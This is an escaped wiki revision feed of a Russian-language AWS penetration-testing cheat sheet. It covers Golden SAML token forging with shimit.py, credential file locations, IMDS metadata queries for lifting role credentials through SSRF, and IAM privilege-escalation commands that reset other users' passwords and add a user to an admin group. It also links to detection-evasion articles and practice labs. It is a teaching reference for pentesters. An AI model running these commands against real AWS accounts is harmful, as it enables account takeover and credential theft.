&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Aws_codeguru.png&amp;diff=1225</id>
		<title>Файл:Aws codeguru.png</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Aws_codeguru.png&amp;diff=1225"/>
				<updated>2022-10-17T11:03:37Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1224</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1224"/>
				<updated>2022-10-17T10:53:50Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Augmented AI (Amazon A2I) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
